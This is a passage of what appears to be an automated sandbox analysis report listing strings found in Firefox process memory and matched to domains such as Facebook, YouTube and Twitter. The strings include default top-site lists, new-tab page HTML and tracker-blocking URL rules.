Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UPDATE moz_bookmarks SET position = position + 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/ad*://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://pubads.g.doubleclick.net/gampad/ad-blk*://securepubads.g.doubleclick.net/gampad/ad*://.adsafeprotected.com//unit/://.adsafeprotected.com/jload?*://cdn.cmp.advertising.com/firefox-etp://pixel.advertising.com/firefox-etpresource://gre/modules/ExtensionCommon.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000003.2060006734.0000025CEBA80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB29E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.2060006734.0000025CEBA80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2204025127.0000025CEA6D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unable to start devtools server on DevTools telemetry entry point failed: DevToolsStartup.jsm:handleDebuggerFlagdevtools/client/framework/devtools-browserresource://devtools/shared/security/socket.jsreleaseDistinctSystemPrincipalLoaderJSON Viewer's onSave failed in startPersistenceFailed to listen. Listener already attached.browser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)resource://devtools/server/devtools-server.js^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPbrowser.urlbar.dnsResolveFullyQualifiedNamesget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.performance.popup.feature-flagbrowser.fixup.domainsuffixwhitelist.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools.performance.recording.ui-base-url{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON dataNo callback set for this channel.Failed to execute WebChannel callback:@mozilla.org/network/protocol;1?name=defaultextractScheme/fixupChangedProtocol<https://mail.yahoo.co.jp/compose/?To=%sCan't invoke URIFixup in the content processresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/URIFixup.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigrated@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/FileUtils.sys.mjshttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/network/file-input-stream;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/NetUtil.sys.mjsresource://gre/modules/DeferredTask.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/JSONFile.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeededgecko.handlerService.defaultHandlersVersionhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshandlerSvc fillHandlerInfo: don't know this typehttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsScheme should be either http or httpshttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/simple-stream-listener;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLnewChannel requires a single object argumentFirst argument should be an nsIInputStreamhttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%spdfjs.previousHandler.preferredAction@mozilla.org/scriptableinputstream;1pdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1Non-zero amount of bytes must be specifiedhttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%sVALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/intl/converter-input-stream;1Must have a source and a callback@mozilla.org/uriloader/handler-service;1@mozil
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: disabled_picture_in_picture_overrides.bbc://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.2060006734.0000025CEBA80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB29E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.2060006734.0000025CEBA80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2204025127.0000025CEA6D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
